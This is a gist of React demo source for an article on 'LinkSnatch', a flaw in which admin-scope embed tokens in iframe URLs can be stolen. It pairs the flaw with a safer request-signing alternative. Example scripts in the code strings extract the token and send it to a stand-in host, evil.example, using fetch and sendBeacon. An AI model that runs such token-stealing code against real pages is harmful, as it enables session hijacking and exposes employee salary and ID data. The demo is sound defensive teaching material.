Skip to content

Instantly share code, notes, and snippets.

@anulman
Last active March 9, 2026 22:38
Show Gist options
  • Select an option

  • Save anulman/3eee2ae84cdd19dfd8d0ca64c83cc03d to your computer and use it in GitHub Desktop.

Select an option

Save anulman/3eee2ae84cdd19dfd8d0ca64c83cc03d to your computer and use it in GitHub Desktop.
LinkSnatch: Prenegotiated embed tokens are unsafe at admin scope — interactive demo source
import type { ReactNode } from "react";
import { css, cx } from "styled-system/css";
import { HStack } from "~/components/layout";
import { Card } from "~/components/ui";
type DemoCardVariant = "blue" | "red" | "yellow" | "green";
const borders: Record<DemoCardVariant, string> = {
blue: "1px solid rgba(0, 212, 255, 0.3)",
red: "1px solid rgba(255, 45, 85, 0.85)",
yellow: "1px solid rgba(255, 230, 0, 0.5)",
green: "1px solid rgba(57, 255, 20, 0.3)",
};
const bgs: Record<DemoCardVariant, string> = {
blue: "rgba(0, 212, 255, 0.03)",
red: "rgba(255, 45, 85, 0.06)",
yellow: "rgba(255, 230, 0, 0.03)",
green: "rgba(57, 255, 20, 0.03)",
};
const titleColors: Record<DemoCardVariant, string> = {
blue: "laser.blue",
red: "laser.red",
yellow: "laser.yellow",
green: "laser.green",
};
const cardBase = css({
margin: "token(spacing.xl) 0",
/* Reset prose heading margins inside demo cards */
"& h4": { margin: "0 !important" },
});
export function DemoCard({
variant,
title,
actions,
children,
}: {
variant: DemoCardVariant;
title: string;
actions?: ReactNode;
children: ReactNode;
}) {
return (
<Card className={cx(cardBase, css({
border: borders[variant],
background: bgs[variant],
}))}>
<div className={css({ display: "flex", flexWrap: "wrap", alignItems: "center", gap: "sm", marginBottom: "md" })}>
<h4 className={css({ color: titleColors[variant], flex: "1 1 auto", minWidth: "min(100%, 200px)" })}>{title}</h4>
{actions && (
<HStack gap="sm" className={css({ flexShrink: 0 })}>
{actions}
</HStack>
)}
</div>
{children}
</Card>
);
}
import type { ReactNode } from "react";
import { css } from "styled-system/css";
import { HStack } from "~/components/layout";
import { Badge } from "~/components/ui/Badge";
type BadgeStatus = "authenticated" | "waiting" | "error" | string;
function EmbedBadge({ status }: { status: BadgeStatus }) {
if (status === "authenticated") {
return <Badge variant="success" size="sm">Authenticated</Badge>;
}
return (
<Badge variant="danger" size="sm">
{status === "waiting" ? "Waiting for auth..." : status === "error" ? "Error" : status || "No Token"}
</Badge>
);
}
export function EmbedShell({ badge, children }: { badge: BadgeStatus; children: ReactNode }) {
return (
<div className={css({ margin: 0, fontFamily: "sans", background: "embed.bg", color: "embed.text", fontSize: "normal", minHeight: "100vh" })}>
<div className={css({ padding: "md", minHeight: "100%" })}>
<HStack className={css({ justifyContent: "space-between", marginBottom: "md", borderBottom: "1px solid token(colors.embed.border)", paddingBottom: "0.75rem" })}>
<div>
<span className={css({ fontWeight: 700, color: "embed.brand" })}>⚙ PayrollCo</span>
<span className={css({ color: "embed.muted", marginLeft: "sm", fontSize: "0.75rem" })}>Admin Dashboard</span>
</div>
<EmbedBadge status={badge} />
</HStack>
{children}
</div>
</div>
);
}
import { css } from "styled-system/css";
import { Table, type Column } from "~/components/ui";
export interface Employee {
name: string;
role: string;
salary: string;
sin: string;
}
const columns: Column<Employee>[] = [
{ key: "name", header: "Employee" },
{ key: "role", header: "Role", render: (e) => <span className={css({ color: "embed.tertiary" })}>{e.role}</span> },
{ key: "salary", header: "Salary", render: (e) => <span className={css({ color: "laser.green" })}>{e.salary}</span> },
{ key: "sin", header: "SIN", render: (e) => <span className={css({ color: "danger", fontFamily: "mono" })}>{e.sin}</span> },
];
export function EmployeeTable({ employees }: { employees: Employee[] }) {
return <Table data={employees} columns={columns} keyExtractor={(e) => e.name} />;
}
import { useState, useRef, useCallback, useEffect } from "react";
import { HStack, VStack } from "~/components/layout";
import { css, cva } from "styled-system/css";
import { CodeTabs } from "~/components/CodeTabs";
import { Button } from "~/components/ui";
import { DemoCard } from "./-DemoCard";
const RACE_JS = `// Attacker uses MutationObserver to catch the iframe the instant it's added
const observer = new MutationObserver((mutations) => {
for (const mutation of mutations) {
for (const node of mutation.addedNodes) {
if (node.tagName === "IFRAME" && node.src.includes("vendor.example")) {
const token = new URL(node.src).searchParams.get("token");
// Open the stolen URL in a new context — race the iframe's page load
window.open(\`https://vendor.example/embed?token=\${token}\`);
// Or exfiltrate to your own server for later use
fetch(\`https://evil.example/collect?token=\${token}\`);
}
}
}
});
observer.observe(document.body, { childList: true, subtree: true });`;
const HOW_THE_DEMO_WORKS = `The demo above simplifies the race to its core:
two iframes load the same single-use embed URL concurrently.
A Durable Object on the server guarantees exactly one consumer —
the first request to arrive wins, the second gets denied.
The "Attacker head start" slider controls how many milliseconds
before the legitimate iframe the attacker fires. This models the
real MutationObserver advantage: the observer fires synchronously
when the iframe element is added to the DOM, before the browser
has sent the HTTP request for the iframe's content.
At 0ms head start the race is roughly even. Increase the slider
to simulate a faster attacker (or a slower network for the victim).
The server decides the outcome — not the client. Run it multiple
times and watch the tally.`;
interface LogEntry {
message: string;
type: "info" | "danger" | "success" | "warn" | "muted";
}
const logEntryColor = cva({
base: { marginBottom: "0.15rem" },
variants: {
type: {
danger: { color: "danger" },
success: { color: "laser.green" },
warn: { color: "laser.yellow" },
muted: { color: "embed.muted" },
info: { color: "laser.blue" },
},
},
});
function RaceDemoInner() {
const [phase, setPhase] = useState<"idle" | "watching" | "done">("idle");
const [log, setLog] = useState<LogEntry[]>([]);
const [headStart, setHeadStart] = useState(0);
const [tally, setTally] = useState({ attacker: 0, iframe: 0, total: 0 });
const iframeRef = useRef<HTMLIFrameElement>(null);
const attackerRef = useRef<HTMLIFrameElement>(null);
const resultsRef = useRef<{ iframe: boolean | null; attacker: boolean | null }>({ iframe: null, attacker: null });
const tokenRef = useRef("");
const appendLog = useCallback((entry: LogEntry) => {
setLog((prev) => [...prev, entry]);
}, []);
useEffect(() => {
const handler = (e: MessageEvent) => {
if (e.data?.type !== "race-result" || e.data.token !== tokenRef.current) return;
const source = e.data.source as "iframe" | "attacker";
const results = resultsRef.current;
if (source === "iframe") results.iframe = e.data.ok;
if (source === "attacker") results.attacker = e.data.ok;
if (results.iframe !== null && results.attacker !== null) {
if (results.attacker && !results.iframe) {
appendLog({ message: "Server: attacker consumed the token first", type: "danger" });
appendLog({ message: 'Legitimate iframe got: "Token already consumed. Session invalid."', type: "warn" });
appendLog({ message: "The attacker has the employee data.", type: "danger" });
setTally((t) => ({ attacker: t.attacker + 1, iframe: t.iframe, total: t.total + 1 }));
} else if (results.iframe && !results.attacker) {
appendLog({ message: "Server: legitimate iframe consumed the token first", type: "success" });
appendLog({ message: 'Attacker got: "Token already consumed."', type: "info" });
appendLog({ message: "Blocked this time. But the attacker just needs to win once.", type: "warn" });
setTally((t) => ({ attacker: t.attacker, iframe: t.iframe + 1, total: t.total + 1 }));
} else if (results.iframe && results.attacker) {
appendLog({ message: "Both requests authenticated (server race edge case)", type: "muted" });
setTally((t) => ({ ...t, total: t.total + 1 }));
} else {
appendLog({ message: "Neither authenticated — token expired", type: "muted" });
setTally((t) => ({ ...t, total: t.total + 1 }));
}
setPhase("done");
}
};
window.addEventListener("message", handler);
return () => window.removeEventListener("message", handler);
}, [appendLog]);
const startRace = useCallback(() => {
setPhase("watching");
setLog([]);
resultsRef.current = { iframe: null, attacker: null };
tokenRef.current = `emb_${crypto.randomUUID().replace(/-/g, "").slice(0, 32)}`;
const TOKEN = tokenRef.current;
const delay = Math.abs(headStart);
const iframeDelay = headStart > 0 ? delay : 0;
const attackerDelay = headStart < 0 ? delay : 0;
const raceMsg = headStart > 0
? `Attacker fires ${headStart}ms before the iframe — racing...`
: headStart < 0
? `Iframe fires ${Math.abs(headStart)}ms before the attacker — racing...`
: "Both fire simultaneously — racing...";
appendLog({ message: "// Setting up MutationObserver on the page...", type: "muted" });
appendLog({ message: "observer.observe(document.body, { childList: true, subtree: true })", type: "info" });
appendLog({ message: "Observer active. Waiting for iframe...", type: "info" });
appendLog({ message: "MutationObserver fired! iframe detected.", type: "danger" });
appendLog({ message: `Extracted token: "${TOKEN}"`, type: "danger" });
appendLog({ message: raceMsg, type: "danger" });
if (iframeRef.current) {
iframeRef.current.src = `/demos/linksnatch/embed/race?token=${TOKEN}&source=iframe&delay=${iframeDelay}`;
}
if (attackerRef.current) {
attackerRef.current.src = `/demos/linksnatch/embed/race?token=${TOKEN}&source=attacker&delay=${attackerDelay}`;
}
}, [appendLog, headStart]);
const resetTally = () => {
setTally({ attacker: 0, iframe: 0, total: 0 });
setPhase("idle");
setLog([]);
resultsRef.current = { iframe: null, attacker: null };
if (iframeRef.current) iframeRef.current.src = "about:blank";
if (attackerRef.current) attackerRef.current.src = "about:blank";
};
const resetRace = () => {
setPhase("idle");
setLog([]);
resultsRef.current = { iframe: null, attacker: null };
if (iframeRef.current) iframeRef.current.src = "about:blank";
if (attackerRef.current) attackerRef.current.src = "about:blank";
};
const headStartColor = headStart > 0 ? "danger" : headStart < 0 ? "laser.green" : "laser.yellow";
const headStartLabel = headStart > 0
? `+${headStart}ms (attacker)`
: headStart < 0
? `${headStart}ms (iframe)`
: "0ms (even)";
return (
<DemoCard variant="yellow" title="Live Demo: Single-Use Token" actions={<>
{phase === "idle" && (
<Button onClick={startRace} variant="warning" size="sm">Run Race</Button>
)}
{phase === "done" && (
<Button onClick={resetRace} variant="warning" size="sm">Run Again</Button>
)}
{phase === "watching" && (
<span className={css({ color: "laser.yellow", fontSize: "normal", fontWeight: 600 })}>Racing...</span>
)}
</>}>
{/* Tally */}
<div className={css({
display: "flex", alignItems: "center", gap: "md", marginBottom: "md",
padding: "0.75rem token(spacing.md)", background: "rgba(0,0,0,0.3)", borderRadius: "6px",
fontFamily: "mono", fontSize: "normal",
})}>
<span className={css({ color: "danger", fontWeight: 700 })}>Attacker: {tally.attacker}</span>
<span className={css({ color: "embed.muted" })}>vs</span>
<span className={css({ color: "laser.green", fontWeight: 700 })}>Iframe: {tally.iframe}</span>
<span className={css({ color: "embed.muted", marginLeft: "auto" })}>({tally.total} {tally.total === 1 ? "race" : "races"})</span>
{tally.total > 0 && (
<Button onClick={resetTally} variant="ghost" size="sm">reset</Button>
)}
</div>
{/* Slider */}
<div className={css({ marginBottom: "md" })}>
<div className={css({ fontFamily: "mono", fontSize: "base", color: "embed.tertiary" })}>
<HStack className={css({ justifyContent: "space-between", marginBottom: "0.35rem" })}>
<span>Attacker head start</span>
<span className={css({ color: headStartColor, fontWeight: 700 })}>{headStartLabel}</span>
</HStack>
<input
type="range" min={-50} max={50} value={headStart}
onChange={(e) => setHeadStart(Number(e.target.value))}
disabled={phase === "watching"}
className={css({ width: "100%", accentColor: "token(colors.laser.red)" })}
/>
</div>
</div>
<VStack>
<div className={css({ display: "grid", gridTemplateColumns: "repeat(auto-fit, minmax(280px, 1fr))", gap: "md" })}>
<div>
<div className={css({ fontSize: "sm", color: "laser.green", marginBottom: "xs", fontFamily: "mono", fontWeight: 600 })}>
Partner's App (legitimate)
</div>
<div className={css({ fontSize: "xs", color: "text.muted", marginBottom: "xs", fontFamily: "mono", overflow: "hidden", textOverflow: "ellipsis", whiteSpace: "nowrap" })}>
{tokenRef.current ? `src="/demos/linksnatch/embed/race?token=${tokenRef.current}&source=iframe"` : "src=(waiting)"}
</div>
<iframe
ref={iframeRef}
className={css({ width: "100%", height: "180px", border: "1px solid rgba(255,230,0,0.2)", borderRadius: "md", background: "embed.bg" })}
sandbox="allow-same-origin allow-scripts"
title="Legitimate embed"
/>
</div>
<div>
<div className={css({ fontSize: "sm", color: "danger", marginBottom: "xs", fontFamily: "mono", fontWeight: 600 })}>
Attacker's Browser
</div>
<div className={css({ fontSize: "xs", color: "text.muted", marginBottom: "xs", fontFamily: "mono", overflow: "hidden", textOverflow: "ellipsis", whiteSpace: "nowrap" })}>
{tokenRef.current ? `Same URL, different source` : "src=(waiting)"}
</div>
<iframe
ref={attackerRef}
className={css({ width: "100%", height: "180px", border: "1px solid rgba(255,45,85,0.2)", borderRadius: "md", background: "embed.bg" })}
sandbox="allow-same-origin allow-scripts"
title="Attacker's browser"
/>
</div>
</div>
<div className={css({
fontFamily: "mono", fontSize: "md", lineHeight: 1.6,
minHeight: "80px", maxHeight: "300px", overflowY: "auto",
padding: "md", background: "rgba(0,0,0,0.4)", borderRadius: "md",
})}>
{log.length === 0 ? (
<span className={css({ color: "text.muted" })}>
Set the attacker head start, then press "Run Race". Two iframes race to consume the same single-use token. A Durable Object on the server guarantees only one wins.
</span>
) : log.map((entry, i) => (
<div key={i} className={logEntryColor({ type: entry.type })}>
{entry.message}
</div>
))}
</div>
</VStack>
</DemoCard>
);
}
export function RaceDemoWithCode() {
return (
<>
<RaceDemoInner />
<CodeTabs tabs={[
{ label: "race.js", language: "javascript", code: RACE_JS },
{ label: "how-the-demo-works.md", language: "markdown", code: HOW_THE_DEMO_WORKS },
]} />
</>
);
}
import { useState, useRef, useCallback, useEffect } from "react";
import { HStack, VStack } from "~/components/layout";
import { css, cva } from "styled-system/css";
import { CodeTabs } from "~/components/CodeTabs";
import { Button } from "~/components/ui";
import { DemoCard } from "./-DemoCard";
const IFRAME_CLIENT = `// Inside the embedded iframe — powered by rimless
// rimless is loaded from CDN: https://unpkg.com/rimless/lib/rimless.min.js
async function init() {
// Connect to the host page — rimless handles the MessageChannel handshake
const connection = await rimless.guest.connect({
// Expose functions the host can call
navigateSPA: (/*...args*/) => { /*implementation*/ },
});
const fetchEmployees = async () => {
// Step 1: Ask the host to sign this request
const jwt = await connection.remote.signRequest({ method: "GET", resource: "/api/employees" });
// Step 2: Use the signed JWT to fetch data (expires in 30s)
// const response = await fetch("/api/employees", {
// headers: { "Authorization": \`Bearer \${jwt}\` }
// });
// Update the UI with the employee data
showEmployeeTable();
return { success: true };
};
fetchEmployees().catch(() => console.error("initial fetch failed"));
return { fetchEmployees };
}
init().catch(console.error);`;
const HOST_RELAY = `// The host page connects to the iframe via rimless
// rimless is loaded from CDN: https://unpkg.com/rimless/lib/rimless.min.js
async function connectToIframe(iframeElement) {
const { host } = window.rimless;
const connection = await host.connect(iframeElement, {
// Expose functions the guest can call
signRequest: async (request) => {
// Forward to our server (where the real auth lives)
const response = await fetch("/api/sign-embed-request", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include", // sends session cookie
body: JSON.stringify(request),
});
if (!response.ok) {
throw new Error("Auth failed — session may have expired");
}
const { jwt } = await response.json();
return jwt;
},
});
}`;
const SERVER_TS = `// The signing endpoint — this is all the embedder implements
import { SignJWT } from "jose";
app.post("/api/sign-embed-request", async (req, res) => {
// Check YOUR auth — session, RBAC, whatever you already use
const user = await validateSession(req);
if (!user) return res.status(401).json({ error: "Not authenticated" });
const request = req.body; // { method, resource, bodyHash? }
// Optional: restrict what the embed can do
if (!user.canAccess(request.resource)) {
return res.status(403).json({ error: "Forbidden" });
}
// Sign a short-lived JWT — bound to method + resource + body hash
const jwt = await new SignJWT({ ...request, userId: user.id })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("30s")
.sign(EMBEDDER_SECRET);
res.json({ jwt });
});`;
const MALICIOUS_JS = `// The same attacker script from Demo 1. What can it do?
// No token in the iframe URL — nothing to extract
const iframe = document.querySelector("iframe");
console.log(new URL(iframe.src).searchParams); // empty
// Can intercept... nothing. rimless prefers MessageChannel (a private pipe)
// when available, not window.postMessage broadcasts. There's nothing to
// eavesdrop on. And even when there is, it's source.origin-checked.
window.addEventListener("message", (e) => {
// You probably won't see rimless messages here
});
// Can't reach the signing server — it only accepts
// requests from the same origin, backed by a valid session cookie.
// The attacker's script runs on the host page but can't
// forge the embedder's server-side session.
fetch("/api/sign-embed-request", {
method: "POST",
body: JSON.stringify({ action: "GET", resource: "/employees" })
}); // 401 Unauthorized — no session cookie`;
interface LogEntry {
message: string;
type: "info" | "danger" | "success" | "muted";
}
const logEntryColor = cva({
base: { marginBottom: "0.15rem" },
variants: {
type: {
danger: { color: "danger" },
success: { color: "laser.green" },
muted: { color: "embed.muted" },
info: { color: "laser.blue" },
},
},
});
function SecureDemoInner() {
const [phase, setPhase] = useState<"idle" | "loaded" | "attacked">("idle");
const [attackerVisible, setAttackerVisible] = useState(false);
const [log, setLog] = useState<LogEntry[]>([]);
const [iframeKey, setIframeKey] = useState(0);
const iframeRef = useRef<HTMLIFrameElement>(null);
const attackerIframeRef = useRef<HTMLIFrameElement>(null);
const connectionRef = useRef<any>(null);
const setupStartedRef = useRef(false);
const appendLog = useCallback((entry: LogEntry) => {
setLog((prev) => [...prev, entry]);
}, []);
const embedUrl = "/demos/linksnatch/embed/secure";
useEffect(() => {
if (setupStartedRef.current) return;
setupStartedRef.current = true;
(async () => {
try {
if (!(window as any).rimless) {
await new Promise<void>((resolve, reject) => {
const s = document.createElement("script");
s.src = "https://unpkg.com/rimless/lib/rimless.min.js";
s.onload = () => resolve();
s.onerror = () => reject(new Error("Failed to load rimless"));
document.head.appendChild(s);
});
}
const waitForIframe = (): Promise<HTMLIFrameElement> => {
return new Promise((resolve) => {
const check = () => {
if (iframeRef.current) return resolve(iframeRef.current);
requestAnimationFrame(check);
};
check();
});
};
const iframe = await waitForIframe();
const { host } = (window as any).rimless;
const connection = await host.connect(iframe, {
signRequest: async (request: { method: string; resource: string }) => {
appendLog({ message: `rimless: signRequest({ method: "${request.method}", resource: "${request.resource}" })`, type: "info" });
appendLog({ message: `Checking session... user authenticated`, type: "success" });
const fakeJwt =
"eyJhbGciOiJIUzI1NiJ9." +
btoa(JSON.stringify({ ...request, exp: Math.floor(Date.now() / 1000) + 30 })) +
".fake_signature";
appendLog({ message: `Signed JWT (expires 30s): ${fakeJwt.substring(0, 40)}...`, type: "success" });
return fakeJwt;
},
});
connectionRef.current = connection;
appendLog({ message: `rimless: host guest channel open`, type: "success" });
} catch (err) {
appendLog({ message: `rimless setup failed: ${err}`, type: "danger" });
}
})();
}, [iframeKey, appendLog]);
const handleIframeLoad = useCallback(() => {
if (phase !== "idle") return;
setPhase("loaded");
appendLog({ message: "iframe loaded (no token in URL — nothing to steal)", type: "info" });
}, [phase, appendLog]);
useEffect(() => {
const timer = setTimeout(() => {
if (phase === "idle" && iframeRef.current) {
handleIframeLoad();
}
}, 2000);
return () => clearTimeout(timer);
}, [phase, handleIframeLoad]);
const triggerIframeRequest = useCallback(async () => {
if (!connectionRef.current) {
appendLog({ message: "rimless not connected yet — try again", type: "danger" });
return;
}
appendLog({ message: `Triggering iframe fetchEmployees via rimless...`, type: "muted" });
try {
await connectionRef.current.remote.fetchEmployees();
appendLog({ message: `iframe: GET /api/employees 200 OK (4 employees)`, type: "success" });
} catch (err) {
appendLog({ message: `fetchEmployees error: ${err}`, type: "danger" });
}
}, [appendLog]);
const runAttack = useCallback(() => {
setPhase("attacked");
appendLog({ message: ``, type: "muted" });
appendLog({ message: `// Rogue script attempts the same extraction:`, type: "muted" });
appendLog({ message: `const iframe = document.querySelector('iframe');`, type: "muted" });
const iframe = iframeRef.current;
if (!iframe) return;
const src = iframe.src;
appendLog({ message: `iframe.src -> "${src}"`, type: "info" });
const url = new URL(src);
const params = Array.from(url.searchParams.entries());
appendLog({
message: `URL params: ${params.length === 0 ? "(none)" : params.map(([k, v]) => `${k}=${v}`).join(", ")}`,
type: params.length === 0 ? "success" : "danger",
});
appendLog({ message: `// No token. Nothing to open on another machine.`, type: "muted" });
appendLog({ message: `// Attacker tries intercepting rimless messages...`, type: "muted" });
appendLog({ message: `// rimless uses MessageChannel — direct pipe, not broadcast.`, type: "muted" });
appendLog({ message: `// Can't reach signing server — no session cookie.`, type: "muted" });
appendLog({ message: `No persistent credential. No replayable URL. No attack vector.`, type: "success" });
if (attackerIframeRef.current) {
attackerIframeRef.current.src = embedUrl;
}
setAttackerVisible(true);
}, [appendLog, embedUrl]);
const reset = () => {
if (connectionRef.current) {
try { connectionRef.current.close?.(); } catch (_) {}
connectionRef.current = null;
}
setupStartedRef.current = false;
if (attackerIframeRef.current) {
attackerIframeRef.current.src = "about:blank";
}
setAttackerVisible(false);
setPhase("idle");
setLog([]);
setIframeKey((k) => k + 1);
};
return (
<DemoCard variant="green" title="Live Demo: Request Request Pattern" actions={<>
{(phase === "loaded" || phase === "attacked") && (
<>
<Button onClick={triggerIframeRequest} variant="success" size="sm">
Trigger Iframe Request
</Button>
{phase === "loaded" && (
<Button onClick={runAttack} variant="danger" size="sm">
Run Malicious Script
</Button>
)}
{phase === "attacked" && (
<Button onClick={reset} variant="ghost" size="sm">Reset</Button>
)}
</>
)}
</>}>
<VStack>
<div className={css({ display: "grid", gridTemplateColumns: "repeat(auto-fit, minmax(280px, 1fr))", gap: "md" })}>
<div>
<div className={css({ fontSize: "sm", color: "laser.green", marginBottom: "xs", fontFamily: "mono", fontWeight: 600 })}>Partner's App (legitimate)</div>
<div className={css({ fontSize: "xs", color: "text.muted", marginBottom: "xs", fontFamily: "mono", overflow: "hidden", textOverflow: "ellipsis", whiteSpace: "nowrap" })}>
src="{embedUrl}" — no token in URL
</div>
<iframe
key={iframeKey}
ref={iframeRef}
src={embedUrl}
onLoad={handleIframeLoad}
className={css({ width: "100%", height: "220px", border: "1px solid rgba(57, 255, 20, 0.3)", borderRadius: "md", background: "embed.bg" })}
title="Secure embed demo"
/>
</div>
<div className={css({ display: attackerVisible ? "block" : "none" })}>
<div className={css({ fontSize: "sm", color: "danger", marginBottom: "xs", fontFamily: "mono", fontWeight: 600 })}>Attacker's Browser</div>
<div className={css({ fontSize: "xs", color: "text.muted", marginBottom: "xs", fontFamily: "mono" })}>Same URL — but no token, no data</div>
<iframe
ref={attackerIframeRef}
className={css({ width: "100%", height: "220px", border: "1px solid rgba(255, 45, 85, 0.3)", borderRadius: "md", background: "embed.bg" })}
title="Attacker's attempt — no data"
/>
</div>
</div>
<div className={css({ fontFamily: "mono", fontSize: "md", lineHeight: 1.6, minHeight: "80px", maxHeight: "300px", overflowY: "auto", padding: "md", background: "rgba(0, 0, 0, 0.4)", borderRadius: "md" })}>
{log.length === 0 ? (
<span className={css({ color: "text.muted" })}>Waiting for iframe to load...</span>
) : log.map((entry, i) => (
<div key={i} className={logEntryColor({ type: entry.type })}>
{entry.message}
</div>
))}
</div>
</VStack>
</DemoCard>
);
}
export function SecureDemoWithCode() {
return (
<>
<SecureDemoInner />
<CodeTabs tabs={[
{ label: "iframe-client.ts", language: "typescript", code: IFRAME_CLIENT },
{ label: "host-relay.ts", language: "typescript", code: HOST_RELAY },
{ label: "server.ts", language: "typescript", code: SERVER_TS },
{ label: "malicious.js", language: "javascript", code: MALICIOUS_JS },
]} />
</>
);
}
import { useState, useRef, useCallback } from "react";
import { css } from "styled-system/css";
import { HStack } from "~/components/layout";
import { Button } from "~/components/ui";
import { DemoCard } from "./-DemoCard";
const DEFAULT_TOKEN = "what's up doc? \u{1F955}";
export function TokenDemo() {
const [token, setToken] = useState(DEFAULT_TOKEN);
const [appliedToken, setAppliedToken] = useState(DEFAULT_TOKEN);
const iframeRef = useRef<HTMLIFrameElement>(null);
const apply = useCallback(() => {
setAppliedToken(token);
if (iframeRef.current) {
iframeRef.current.src = `/demos/linksnatch/embed/token-echo?token=${encodeURIComponent(token)}`;
}
}, [token]);
const embedUrl = `/demos/linksnatch/embed/token-echo?token=${encodeURIComponent(appliedToken)}`;
return (
<DemoCard variant="blue" title="The Pattern" actions={<Button onClick={apply} variant="primary" size="sm">Apply</Button>}>
<HStack gap="sm" className={css({ marginBottom: "md" })}>
<span className={css({ fontFamily: "mono", fontSize: "sm", color: "text.muted", flexShrink: 0 })}>token =</span>
<input
type="text"
value={token}
onChange={(e) => setToken(e.target.value)}
onKeyDown={(e) => e.key === "Enter" && apply()}
className={css({
flex: 1,
fontFamily: "mono",
fontSize: "base",
padding: "xs sm",
background: "rgba(0, 0, 0, 0.3)",
border: "1px solid rgba(0, 212, 255, 0.15)",
borderRadius: "sm",
color: "laser.blue",
outline: "none",
_focus: { borderColor: "laser.blue" },
})}
/>
</HStack>
<div>
<div className={css({ fontSize: "sm", color: "laser.blue", marginBottom: "xs", fontFamily: "mono", fontWeight: 600 })}>
Vendor Embed
</div>
<div className={css({ fontSize: "xs", color: "text.muted", marginBottom: "xs", fontFamily: "mono", overflow: "hidden", textOverflow: "ellipsis", whiteSpace: "nowrap" })}>
src="{embedUrl}"
</div>
<iframe
ref={iframeRef}
src={embedUrl}
className={css({
width: "100%",
height: "120px",
border: "1px solid rgba(0, 212, 255, 0.2)",
borderRadius: "md",
background: "embed.bg",
})}
sandbox="allow-same-origin allow-scripts"
title="Token echo embed"
/>
</div>
</DemoCard>
);
}
import { useState, useRef, useCallback, useEffect } from "react";
import { HStack, VStack } from "~/components/layout";
import { css, cva } from "styled-system/css";
import { CodeTabs } from "~/components/CodeTabs";
import { Button } from "~/components/ui";
import { DemoCard } from "./-DemoCard";
const TOKEN = "emb_tok_9f3a7c2e1d5b4a8f6c0e2d4b7a9f1c3e";
const HOST_HTML = `<!-- The host page renders the embed -->
<script>
// Server returned this token from the vendor's API
const token = "emb_tok_9f3a7c2e1d5b4a8f...";
const iframe = document.createElement("iframe");
iframe.src = \`https://vendor.example/embed?token=\${token}\`;
document.getElementById("payroll-container").appendChild(iframe);
</script>
<!-- Also on this page: analytics, chat widget, error tracking... -->
<script src="https://cdn.analytics-co.example/v3.js"></script>
<script src="https://chat.support-widget.example/loader.js"></script>`;
const MALICIOUS_JS = `// Any script on the host page can do this.
// Injected via XSS, compromised dependency, rogue browser extension.
const iframe = document.querySelector("iframe[src*='vendor.example']");
const url = new URL(iframe.src);
const token = url.searchParams.get("token");
// The token authorizes the page, not a specific browser or client.
// Send it anywhere and it works — the vendor can't tell the difference.
// Exfiltrate the URL to attacker's server
navigator.sendBeacon(
"https://evil.example/collect",
JSON.stringify({ url: iframe.src })
);
// The attacker opens the same URL on their own machine.
// Different browser. Different continent. Full admin access.
// They see the same payroll dashboard the legitimate user sees —
// salaries, tax withholdings, SSNs, everything.
// No API needed. No reverse engineering. Just... open the link.`;
const SERVER_TS = `// The embedder's server — creates the session token
app.get("/api/embed-session", async (req, res) => {
// Authenticate the request (so far so good)
const user = await validateSession(req);
// Ask the vendor for an embed token
const { token } = await vendorAPI.createEmbedSession({
companyId: user.companyId,
scope: "payroll-admin", // <-- this is the problem
});
// Send token to the browser (it'll be in the DOM)
res.json({ embedUrl: \`https://vendor.example/embed?token=\${token}\` });
});`;
interface LogEntry {
message: string;
type: "info" | "danger" | "success" | "muted";
}
const logEntryColor = cva({
base: { marginBottom: "0.15rem" },
variants: {
type: {
danger: { color: "danger" },
success: { color: "laser.green" },
muted: { color: "embed.muted" },
info: { color: "laser.blue" },
},
},
});
function VulnerableDemoInner() {
const [phase, setPhase] = useState<"idle" | "loaded" | "attacked">("idle");
const [log, setLog] = useState<LogEntry[]>([]);
const [attackerVisible, setAttackerVisible] = useState(false);
const iframeRef = useRef<HTMLIFrameElement>(null);
const attackerIframeRef = useRef<HTMLIFrameElement>(null);
const appendLog = useCallback((entry: LogEntry) => {
setLog((prev) => [...prev, entry]);
}, []);
const embedUrl = `/demos/linksnatch/embed/vulnerable?token=${TOKEN}`;
const handleIframeLoad = useCallback(() => {
if (phase !== "idle") return;
setPhase("loaded");
appendLog({ message: `iframe loaded: ${embedUrl}`, type: "info" });
appendLog({ message: "Payroll admin UI is rendering employee data.", type: "success" });
}, [phase, embedUrl, appendLog]);
useEffect(() => {
if (iframeRef.current) {
iframeRef.current.src = embedUrl;
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
useEffect(() => {
const timer = setTimeout(() => {
if (phase === "idle" && iframeRef.current) {
handleIframeLoad();
}
}, 2000);
return () => clearTimeout(timer);
}, [phase, handleIframeLoad]);
const runAttack = useCallback(async () => {
const iframe = iframeRef.current;
if (!iframe) return;
appendLog({ message: "// Running: document.querySelector('iframe').src", type: "muted" });
const src = iframe.src;
appendLog({ message: `-> "${src}"`, type: "danger" });
appendLog({ message: "// Running: new URL(src).searchParams.get('token')", type: "muted" });
const url = new URL(src);
const token = url.searchParams.get("token");
appendLog({ message: `-> "${token}"`, type: "danger" });
appendLog({ message: "// The attacker exfiltrates this URL.", type: "muted" });
appendLog({ message: "// On their own machine, they open:", type: "muted" });
if (attackerIframeRef.current) {
attackerIframeRef.current.src = src;
}
setAttackerVisible(true);
setPhase("attacked");
appendLog({ message: `window.open("${src}")`, type: "danger" });
appendLog({ message: "Different browser. Different continent. Same admin session.", type: "danger" });
}, [appendLog]);
const reset = () => {
if (attackerIframeRef.current) {
attackerIframeRef.current.src = "about:blank";
}
if (iframeRef.current) {
iframeRef.current.src = "about:blank";
setTimeout(() => {
if (iframeRef.current) iframeRef.current.src = embedUrl;
}, 50);
}
setAttackerVisible(false);
setPhase("idle");
setLog([]);
};
return (
<DemoCard variant="red" title="Live Demo: LinkSnatch" actions={<>
{phase === "loaded" && (
<Button onClick={runAttack} variant="danger" size="sm">Run Snatch</Button>
)}
{phase === "attacked" && (
<Button onClick={reset} variant="ghost" size="sm">Reset</Button>
)}
</>}>
<VStack>
<div className={css({ display: "grid", gridTemplateColumns: "repeat(auto-fit, minmax(280px, 1fr))", gap: "md" })}>
<div>
<div className={css({ fontSize: "sm", color: "laser.green", marginBottom: "xs", fontFamily: "mono", fontWeight: 600 })}>
Partner's App (legitimate)
</div>
<div className={css({ fontSize: "xs", color: "text.muted", marginBottom: "xs", fontFamily: "mono", overflow: "hidden", textOverflow: "ellipsis", whiteSpace: "nowrap" })}>
src="{embedUrl}"
</div>
<iframe
ref={iframeRef}
onLoad={handleIframeLoad}
className={css({
width: "100%",
height: "220px",
border: "1px solid rgba(57, 255, 20, 0.3)",
borderRadius: "md",
background: "embed.bg",
})}
sandbox="allow-same-origin allow-scripts"
title="Legitimate embed"
/>
</div>
